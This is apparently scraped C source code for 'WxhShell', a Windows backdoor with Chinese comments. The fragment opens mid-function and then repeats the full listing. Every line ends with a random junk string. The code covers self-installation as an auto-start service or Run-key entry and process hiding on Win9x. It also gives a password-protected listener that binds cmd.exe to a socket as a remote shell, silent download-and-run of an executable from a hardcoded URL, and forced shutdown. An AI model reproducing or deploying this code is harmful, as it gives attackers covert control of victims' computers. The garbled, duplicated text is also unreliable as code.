    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); iRkUL]H@&  
    if(Boot(SHUTDOWN)) dMsS OP0E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a3w6&e`  
    else { _K{- 1ZYsi  
    closesocket(wsh); bc~WJ+  
    ExitThread(0); fK]%*i_"  
    } vL[IVBG^  
    break; X[$|I9  
    } _%Xp2`m  
  // 获取shell <A|z   
  case 's': { lDKyD`WKnZ  
    CmdShell(wsh); 8tv4_Lbx  
    closesocket(wsh); 'q~<ZO  
    ExitThread(0); )CE]s)6+2  
    break; J1cz D|(  
  } V6_":L"!  
  // 退出 \4j_K*V  
  case 'x': { m{Uh{G$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0g=vMLi  
    CloseIt(wsh); ;r6YIS4@  
    break; W-|C K&1  
    } |Rx+2`6Dp  
  // 离开 M;3q.0MU  
  case 'q': { aZ{l6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'WmjQsf  
    closesocket(wsh); m*jE\+)=^  
    WSACleanup(); }S')!3[G  
    exit(1); a=y%+E'a '  
    break; :6)!#q'g  
        } rwW"B  
  } hJ[keaO  
  } ht6}v<x.eA  
mC\<fo-u  
  // 提示信息 A['(@Bz#7~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HGh)d` 8  
} {E)tzBI;^  
  } G.@K#a9  
+lFBH(o]X  
  return; bf1$:09  
} IDqUiN  
,|?#+O{  
// shell模块句柄 . uGne  
int CmdShell(SOCKET sock) >0 o[@gJl  
{ +8 \?7,FY  
STARTUPINFO si; QqW N7y_9  
ZeroMemory(&si,sizeof(si)); *0L3#. i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >QN-K]YLL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3d1xL+  
PROCESS_INFORMATION ProcessInfo; %G6x\[,  
char cmdline[]="cmd"; b">"NvlB  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =u0a/2u|  
  return 0; Mg8ciV}\xY  
} !nsr( 7X2  
fwzyCbks  
// 自身启动模式 [5-Ik T0  
int StartFromService(void) ^c.pvC"4j  
{ ;Z"Iv  
typedef struct ' Gx\  
{ R\5fl[  
  DWORD ExitStatus; +gBD E :  
  DWORD PebBaseAddress; i88`W&tI{  
  DWORD AffinityMask; eL)m(  
  DWORD BasePriority; F >n_k  
  ULONG UniqueProcessId; Sa.nUj{M=  
  ULONG InheritedFromUniqueProcessId; :U'n0\  
}   PROCESS_BASIC_INFORMATION; J &=5h.G$  
@{3_7  
PROCNTQSIP NtQueryInformationProcess; }waZGJLN  
(o{x*';i4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "iK'O =M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4 PU@W o  
_:Y| a>  
  HANDLE             hProcess; ,1<6=vL  
  PROCESS_BASIC_INFORMATION pbi; gr.G']9lNq  
&lzCRRnvt  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v!<FeLW  
  if(NULL == hInst ) return 0; U%VFr#  
SjJ$Oinc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m)6-D-&7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }PDtx:T-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7+[L6q/K  
l#>A.-R*`  
  if (!NtQueryInformationProcess) return 0; 7Ot&]M  
ci 22fw0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qla=LS\-A+  
  if(!hProcess) return 0; XC/M:2$  
iQCs 8hIR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i#4E*B_-  
8zJye6f;l  
  CloseHandle(hProcess); 4m~p(r  
76c:* bZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W7~OU(}[`  
if(hProcess==NULL) return 0; 0.(7R,-  
$\20Vgu<  
HMODULE hMod; ~1,$  
char procName[255]; 4Xn-L&0z  
unsigned long cbNeeded; 5g9K|-  
EzCi%>q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ('=Q[ua7-(  
~"R;p}5 "  
  CloseHandle(hProcess); '^2bC  
"88<{xL  
if(strstr(procName,"services")) return 1; // 以服务启动 &&96kg3  
b|@f!lA  
  return 0; // 注册表启动 v:9Vp{)  
} H3ob 8+J  
T^Xum2Ec  
// 主模块 }~<9*M-P  
int StartWxhshell(LPSTR lpCmdLine) g9=O<u#  
{ }.<]A  
  SOCKET wsl; #CB`7 }jq  
BOOL val=TRUE; `DP4u\6_  
  int port=0; bGp3 V. H  
  struct sockaddr_in door; !T]bz+  
C7 9~@%T  
  if(wscfg.ws_autoins) Install(); DpL|aRdbK  
@CCDe`R*  
port=atoi(lpCmdLine); K7 tSSX<N  
re@OPiXa v  
if(port<=0) port=wscfg.ws_port; +C=^,B!,  
z }P1+Pm  
  WSADATA data; `ItPTSOi  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <r8s= <:  
Aq&H-g]s  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $-mwr,i  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r@H7J 5<Y-  
  door.sin_family = AF_INET; t hQ)J|1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vnv:YQV/ir  
  door.sin_port = htons(port); p+{*&Hm5  
Q$^Kf]pD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qMcOSZ%8J  
closesocket(wsl); 8lT2qqlr  
return 1; :x_;-  
} V#d8fRm  
roWg~U(S  
  if(listen(wsl,2) == INVALID_SOCKET) { *JY2vq  
closesocket(wsl); ]}N&I_mU  
return 1; 1n+JHXR\  
} 2c8e:Xgv  
  Wxhshell(wsl);  DE14dU  
  WSACleanup(); 83gp'W{|  
@:G#[>nKe  
return 0; $N17GqoC  
!>QD42  
} ]`O??wN  
2z=aP!9]  
// 以NT服务方式启动 N:7;c}~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8j&LU,  
{ m<e-XT  
DWORD   status = 0; pksF| VS  
  DWORD   specificError = 0xfffffff; p#fV|2'  
`]l*H3+hg  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |H@1g=q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?Y#x`DMh  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M}b[;/~  
  serviceStatus.dwWin32ExitCode     = 0; %oN5jt  
  serviceStatus.dwServiceSpecificExitCode = 0; -PH!U Hg  
  serviceStatus.dwCheckPoint       = 0; Umt?COc  
  serviceStatus.dwWaitHint       = 0; 94xRKQ}  
J+20]jI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |c5r&oM&m  
  if (hServiceStatusHandle==0) return; IA?v[xu  
fp2.2 @[  
status = GetLastError(); x5)YZ~5  
  if (status!=NO_ERROR) I~P]_D mM  
{ /qX=rlQ/n  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; O &De!Gx  
    serviceStatus.dwCheckPoint       = 0; #99fFs`w  
    serviceStatus.dwWaitHint       = 0; OKp0@A)8  
    serviceStatus.dwWin32ExitCode     = status; CHX- 4-84{  
    serviceStatus.dwServiceSpecificExitCode = specificError; WT9 k85hqj  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); TbPTgE *  
    return; h TY7`m">  
  } WTP~MJ#C  
b )mU9   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; V]$J&aD  
  serviceStatus.dwCheckPoint       = 0; UL   
  serviceStatus.dwWaitHint       = 0; 8@Kvh|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \9}RAr#2]N  
} )cd5iE:FO  
1:r8p6  
// 处理NT服务事件,比如:启动、停止 :CJ]^v   
VOID WINAPI NTServiceHandler(DWORD fdwControl) W8R"X~!V  
{ |X$O'Gf#n  
switch(fdwControl) .Q^8 _'ZG  
{ bzt(;>_8  
case SERVICE_CONTROL_STOP: I"<ACM  
  serviceStatus.dwWin32ExitCode = 0; OLS.0UEc  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {x#I&ra  
  serviceStatus.dwCheckPoint   = 0; `swf~  
  serviceStatus.dwWaitHint     = 0; :n} NQzs  
  { c0%.GcF0{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fxKhe[;  
  } bdUe,2Yin  
  return; z|:3,$~sN  
case SERVICE_CONTROL_PAUSE: Z*Fxr;)d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; R!8qkG  
  break; O!7v&$]1  
case SERVICE_CONTROL_CONTINUE: ^t{2k[@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; );zLy?n  
  break; g_l=z`,8  
case SERVICE_CONTROL_INTERROGATE: n%J {Tcn6  
  break; mrgieb%  
}; 7;T6hKWV[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -N3fhW#)  
} "DniDA  
; n)9  
// 标准应用程序主函数 uGxh}'&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a2MFZe  
{ XDWR ]  
4._ U  
// 获取操作系统版本 .(7 end<  
OsIsNt=GetOsVer(); l,pI~A`w_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;MH<T6b  
>8*J ;(:W  
  // 从命令行安装 N^{"k,vB-  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,a&&y0,  
t[ Zoe+&  
  // 下载执行文件 CSC sJE#4  
if(wscfg.ws_downexe) { <ETR6r  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ve [*t`  
  WinExec(wscfg.ws_filenam,SW_HIDE); cM= ? {W7~  
} ;ORT#7CU  
EO<{Bj=2  
if(!OsIsNt) { tocZO  
// 如果时win9x,隐藏进程并且设置为注册表启动 + ~6Nq(kV  
HideProc(); :UMtknV  
StartWxhshell(lpCmdLine); a=m7pe ^  
} nsRZy0@$t  
else ]W-7 U_  
  if(StartFromService()) @.PVUP  
  // 以服务方式启动  t dl Y  
  StartServiceCtrlDispatcher(DispatchTable); '_n J DM  
else P2q'P&  
  // 普通方式启动 B-@ ]+W  
  StartWxhshell(lpCmdLine); Y_H|Fl^  
I(cy<ey+e  
return 0; u;[*Z  
} zPC&p{S>  
3kl<~O|Fs  
Bbb_}y|CA  
Kn WjP21  
=========================================== eC9nOwp]xH  
&s +DK `  
9vAY|b^  
@dy<=bh~  
qMk"i@"  
9{{|P=  
" tAPr4n!  
dW32O2@-  
#include <stdio.h> E!~Ok  
#include <string.h> 9rB,7%@EL  
#include <windows.h> 1kiS."77x  
#include <winsock2.h> d:U2b"k=/u  
#include <winsvc.h> [r,ZM  
#include <urlmon.h> b"au9:F4@7  
n^svRM]eQ  
#pragma comment (lib, "Ws2_32.lib") y5td o'Ex  
#pragma comment (lib, "urlmon.lib") #s'UA!)  
AI$r^t1  
#define MAX_USER   100 // 最大客户端连接数 peA}/Jc  
#define BUF_SOCK   200 // sock buffer J?yNZK$WqN  
#define KEY_BUFF   255 // 输入 buffer D[m+= -  
c k$ > yk  
#define REBOOT     0   // 重启 B=>:w%<Ii  
#define SHUTDOWN   1   // 关机 O#}'QZd'  
Fp)+>o T  
#define DEF_PORT   5000 // 监听端口 '|zkRdB*Lq  
b'D|p/)m0S  
#define REG_LEN     16   // 注册表键长度 ,qx;kJJ  
#define SVC_LEN     80   // NT服务名长度 FmRCTH  
Cr!}qZq  
// 从dll定义API `)9nBZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /[[_}\xI%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i\2d1Z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D{Zjo)&tF'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2:31J4t-<  
.RI{\i`  
// wxhshell配置信息 Js`xTH'  
struct WSCFG { c.-/e u^|  
  int ws_port;         // 监听端口 5h"moh9tG  
  char ws_passstr[REG_LEN]; // 口令 I:6N?lD4}0  
  int ws_autoins;       // 安装标记, 1=yes 0=no !`u  
  char ws_regname[REG_LEN]; // 注册表键名 fM[Qn*.  
  char ws_svcname[REG_LEN]; // 服务名 aoLYw 9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6`KAl rH  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?s4-2g  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y9b|lP7!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~Rs_ep'+Q2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s Zan.Kc#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >~;MQDU5*Y  
X8F@U ^@  
}; -`z`K08sT  
uF xrv  
// default Wxhshell configuration J&64tQl*  
struct WSCFG wscfg={DEF_PORT, 9<0p1WO  
    "xuhuanlingzhe", TM|M#hMS  
    1, JGP<'6"L$  
    "Wxhshell", ~$#"'Tl4J  
    "Wxhshell",  E*[dc  
            "WxhShell Service", _JlbVe[<  
    "Wrsky Windows CmdShell Service", '@Zau\xC  
    "Please Input Your Password: ", }gk37_}X\I  
  1, 8.-0_C*U;  
  "http://www.wrsky.com/wxhshell.exe", K;%P_f/KJP  
  "Wxhshell.exe" XIM!]  
    }; %M=[h2SN  
Dg^n`[WO  
// 消息定义模块 [dG&"%5vD  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7 Jxhn!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "<c^`#CWuO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tb^8jC  
char *msg_ws_ext="\n\rExit."; o:H^ L,<Tl  
char *msg_ws_end="\n\rQuit."; 9(;5!q,Gsg  
char *msg_ws_boot="\n\rReboot..."; )ZxDfRjL  
char *msg_ws_poff="\n\rShutdown..."; X?,ly3,  
char *msg_ws_down="\n\rSave to "; X$o$8s  
V3%"z  
char *msg_ws_err="\n\rErr!"; X<\E 'v`~  
char *msg_ws_ok="\n\rOK!"; .Dn.|A  
9FB[`}  
char ExeFile[MAX_PATH]; q=NI}k  
int nUser = 0; en"]u,!  
HANDLE handles[MAX_USER]; r)ni;aP  
int OsIsNt; bSOxM /N  
w! J|KM  
SERVICE_STATUS       serviceStatus; hu?Q,[+o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3j'A.S  
&`#k 1t'  
// 函数声明 |Ai/q6u  
int Install(void); Y7W xV>E  
int Uninstall(void); Rne#z2Ok  
int DownloadFile(char *sURL, SOCKET wsh); 1&zvf4  
int Boot(int flag); P$YY4|`  
void HideProc(void); j_` [Z  
int GetOsVer(void); Ttr)e:  
int Wxhshell(SOCKET wsl); ;E Z5/"T  
void TalkWithClient(void *cs); bYPkqitqz  
int CmdShell(SOCKET sock); @DiXe[kI  
int StartFromService(void); 7_OC&hhL  
int StartWxhshell(LPSTR lpCmdLine); C5}c?=#bdf  
w %4SNR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @vsgmz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?vmu,y  
?]*WVjskE  
// 数据结构和表定义 /_WA F90R?  
SERVICE_TABLE_ENTRY DispatchTable[] = &cZQ,o  
{ 9v\x&h  
{wscfg.ws_svcname, NTServiceMain}, 0ge"ISK  
{NULL, NULL} o#"U8N%r  
}; mLEJt,X  
/{)}y  
// 自我安装 :G.u{cw  
int Install(void) nt 9LBea  
{ / @v V^!#1  
  char svExeFile[MAX_PATH]; mu#I F'|b  
  HKEY key;  Mi>!  
  strcpy(svExeFile,ExeFile); JfOBZQ  
*5|;eN  
// 如果是win9x系统,修改注册表设为自启动 .uh>S!X, ]  
if(!OsIsNt) { 'CQ~ZV5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =3h?!$#?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q8m{zSr  
  RegCloseKey(key); v3p0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O]-)?y/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M]Kx g;  
  RegCloseKey(key); ~U;M1>  
  return 0; ;[qA?<GJ  
    } ?|i C-7{8L  
  } Ci-CY/]s  
} J-UqH3({Z,  
else { 0 ~a9gBG  
 YW14X  
// 如果是NT以上系统,安装为系统服务 ,`pUz[wl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0?$jC-@k:  
if (schSCManager!=0) ]|xfKDu  
{ vVbBg; {  
  SC_HANDLE schService = CreateService ngt?9i;N  
  ( \ u*R6z  
  schSCManager, +vr|J:  
  wscfg.ws_svcname, Jkx_5kk/\  
  wscfg.ws_svcdisp, gmqL,H#  
  SERVICE_ALL_ACCESS, 1zcaI^e#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }R9>1u}6  
  SERVICE_AUTO_START, N,3 )`Vm  
  SERVICE_ERROR_NORMAL, v:IpZ;^  
  svExeFile, <eh<4_<qF  
  NULL, S4Q fx6:~h  
  NULL, @oNYMQ@)d  
  NULL, CcJ%; .V,T  
  NULL, !'z"V_x~  
  NULL Ajm  
  ); : GdLr  
  if (schService!=0) Z ~3  
  { TFZxk  
  CloseServiceHandle(schService); g=na3^PL6  
  CloseServiceHandle(schSCManager); 7~qyz]KkE  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1YtbV3  
  strcat(svExeFile,wscfg.ws_svcname); 0woLB#v9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pwg\b  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3E-dhSz:i  
  RegCloseKey(key); 4n0Iw  I  
  return 0; YXLZ2-%ohZ  
    } .[:y`PCF  
  } mVd%sWD  
  CloseServiceHandle(schSCManager); p f`vH`r  
} S }3?  
} szs.B|3X@*  
?~3Pydrb#  
return 1; Y`*h#{|  
} cz41<SFL  
n[gc`#7|{e  
// 自我卸载 _Wtwh0[r*  
int Uninstall(void) Oj>;[O"  
{ O?f?{Jsx  
  HKEY key; >aAsUL5W  
XI>HC'.0  
if(!OsIsNt) { v=~+o[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i<M F8 $  
  RegDeleteValue(key,wscfg.ws_regname); 7n[0)XR>  
  RegCloseKey(key); \gGTkH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 97pfMk1_  
  RegDeleteValue(key,wscfg.ws_regname); zwJ\F '  
  RegCloseKey(key); T2_b5j3i  
  return 0; f&I5bPS7}  
  } }_oQg_-7e  
} b"y4-KV  
} PQrc#dfc |  
else { Zg3 /,:1  
Q"QZ^!zRl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )C$pjjo/`  
if (schSCManager!=0) TR9dpt+T  
{ YRyaOrl$<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E/2_@&U:}  
  if (schService!=0) m#^;V  
  { m>f8RBp]'  
  if(DeleteService(schService)!=0) { :pLaxWus!  
  CloseServiceHandle(schService); |`'WEe2  
  CloseServiceHandle(schSCManager); 9vBW CCf  
  return 0; 1cS*T>`  
  } M9.FtQhK/  
  CloseServiceHandle(schService); $lg{J$ h8  
  } t4UL|fI  
  CloseServiceHandle(schSCManager); W)AfXy  
} L0qL\>#ejr  
} j9R+;u/!  
p2hPLq  
return 1; C6qGCzlG`  
} -d[Gy- J  
]] T,;|B  
// 从指定url下载文件 Zd]ua_)I%[  
int DownloadFile(char *sURL, SOCKET wsh) WO*dO9O  
{ ,MUgww!.  
  HRESULT hr; ^sF(IV[>  
char seps[]= "/"; k{ulu  
char *token; Pk&$ #J_  
char *file; H-3*},9  
char myURL[MAX_PATH]; !1#=j;N`  
char myFILE[MAX_PATH]; >$7{H]  
B.}j1 Bb  
strcpy(myURL,sURL); 'VV"$`Fu"  
  token=strtok(myURL,seps); 4!A(7 s4t  
  while(token!=NULL) #Eqx E o;  
  { _ Gkb[H&RZ  
    file=token; -HRa6  
  token=strtok(NULL,seps); J I E0O`  
  } |$[.X3i  
cA~bH 6  
GetCurrentDirectory(MAX_PATH,myFILE); &X,6v  
strcat(myFILE, "\\"); j2oU1' b  
strcat(myFILE, file); !.7m4mKzo  
  send(wsh,myFILE,strlen(myFILE),0); [j?<&^SW  
send(wsh,"...",3,0); T3t w.yh  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ->W rBO  
  if(hr==S_OK) ,uZz?7mO  
return 0; jSw>z`'#H  
else |AS9^w  
return 1; =<Ss&p>  
ZeH=]G4Zv7  
} B3p79 j  
of>H&G)@  
// 系统电源模块 x5k6"S"1,  
int Boot(int flag) _xM3c&VeG  
{ SKo*8r   
  HANDLE hToken; Wqe0m_7  
  TOKEN_PRIVILEGES tkp; C\* 0621  
GK{~n  
  if(OsIsNt) { #(-?i\i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o),@I#fM  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); EV_u8?va  
    tkp.PrivilegeCount = 1; ODKS6E1{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]:Pkh./  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >[g.8'hI  
if(flag==REBOOT) { -pQ0,/}K  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iThf\  
  return 0; C^!~WFy  
} uExYgI`<%&  
else { 72dd%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &&Otj-n5  
  return 0; $S U<KNMZ  
} Hqb-)8 ~  
  } >(W\Eh{J  
  else { "Jg* /F  
if(flag==REBOOT) { l?KP /0`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hne}G._b  
  return 0; zI_pP?4;.q  
} Rc}#4pM8  
else { tw<}7l_>Au  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q^b12@.  
  return 0; q]v{o8:U  
} :Y4G^i  
} +[#^c3x2  
-IL' (vx  
return 1; l'?(4 N  
} '3B7F5uLx"  
A{gniYqvB`  
// win9x进程隐藏模块 IDp2#qg_  
void HideProc(void) ]gVW&3ZW  
{ `'ak/%Krh  
$~/x;z:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6^TWY[z2%  
  if ( hKernel != NULL ) U-#vssJhk  
  { T>m|C}yy  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vcSb:('  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (o!i9)  
    FreeLibrary(hKernel); wArzMt}[  
  } bJL,pe+u  
t#7owY$^  
return; %D[6;PT  
} =Ct$!uun  
j`-9.  
// 获取操作系统版本 VpB+|%@p  
int GetOsVer(void) !D 9V9p  
{ La si)e=$<  
  OSVERSIONINFO winfo; W<H<~wf#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O_Z   
  GetVersionEx(&winfo); :BUr8%l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f:h<tlob  
  return 1; xUDXg*  
  else 6{2 9cX.  
  return 0; *YWk.  
} Uy$?B"Z  
XI5q>cd\Sz  
// 客户端句柄模块 x-SYfvYY  
int Wxhshell(SOCKET wsl) )IGx3+I ,  
{ Ce_l\J8G  
  SOCKET wsh;  -to3I  
  struct sockaddr_in client; ''B}^yKEW  
  DWORD myID; Wq*W+7=.  
&=l aZxe  
  while(nUser<MAX_USER) vtXZ`[D,l)  
{ JPkI+0  
  int nSize=sizeof(client); 'dcO-A:>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B@,#,-=  
  if(wsh==INVALID_SOCKET) return 1; 4"Pf0PD:  
+JY]J89  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +<n8O~h  
if(handles[nUser]==0) =kn-F T  
  closesocket(wsh); VY "i>Ae  
else E7|P\^}m(f  
  nUser++; {_]<mwd  
  } %s[ n2w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2-gI@8NPI  
*@[+C~U  
  return 0; "y=AVO  
} i UW.$1l  
yx/.4DW1Ua  
// 关闭 socket _eMY ?  
void CloseIt(SOCKET wsh) |1Pi`^  
{ O:W4W=K  
closesocket(wsh); <k-hRs2d  
nUser--; e"voXe  
ExitThread(0); ^|=3sJ4[U  
} K_LwYO3  
nWv6I&  
// 客户端请求句柄 hOIk6}r4X  
void TalkWithClient(void *cs) y`-5/4  
{ u YJL^I8M'  
Ixv/xI  
  SOCKET wsh=(SOCKET)cs; IT\ x0b cv  
  char pwd[SVC_LEN]; 3dC ;B@  
  char cmd[KEY_BUFF]; pn4~?Aua0/  
char chr[1]; HDT-f9%}<4  
int i,j; cY[qX/0~  
R%^AW2   
  while (nUser < MAX_USER) { f)!7/+9>  
Y!lc/[8  
if(wscfg.ws_passstr) { J1{ucFa  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Af7&;8pM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RaLc}F)9   
  //ZeroMemory(pwd,KEY_BUFF); QLe<).S1B2  
      i=0; dLy-J1h\  
  while(i<SVC_LEN) { 5mB'\xGO2  
/V)4B4  
  // 设置超时 Gu@Znh-D  
  fd_set FdRead; hZNA I  
  struct timeval TimeOut; gVI2{\a  
  FD_ZERO(&FdRead); '7TT4~F  
  FD_SET(wsh,&FdRead); ad[oor/7|  
  TimeOut.tv_sec=8; r&c31k]E  
  TimeOut.tv_usec=0; ;OfZEy>7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _=RK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p) ea1j>N  
_f@, >l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4m3pF0k  
  pwd=chr[0]; A J"/T+g_  
  if(chr[0]==0xd || chr[0]==0xa) { O\KSPy7YQ  
  pwd=0; (GI]Uyn  
  break; u#`FkuE\}  
  } ,7nA:0P  
  i++; >*cg K}!@  
    } '`fz|.|cbB  
k=):>}  
  // 如果是非法用户,关闭 socket !_SIq`5]@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dw]wQ\4B  
} +qzCy/_gd  
y OLqIvN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R x.]m0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "ZLujpZcG  
dT*8I0\+  
while(1) { N"wp2w  
%:WM]dc  
  ZeroMemory(cmd,KEY_BUFF); [#-!&>  
Yab=p 9V;;  
      // 自动支持客户端 telnet标准   .&Ok53]b  
  j=0; 8x9$6HO  
  while(j<KEY_BUFF) { bxA1fA;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'fkaeFzOl  
  cmd[j]=chr[0]; ZT'Sw%U:  
  if(chr[0]==0xa || chr[0]==0xd) { r(::3TF%#q  
  cmd[j]=0; SS/t8Y4W  
  break; `Ufv,_n  
  } @ dF]X  
  j++; /P3s.-sL  
    } 0{ ;[k  
p&#*  
  // 下载文件 bhb*,iWA  
  if(strstr(cmd,"http://")) { OK^0,0kS3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); s"solPw  
  if(DownloadFile(cmd,wsh)) @\UoZv(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8xEOR!\!`k  
  else {UR&Y  
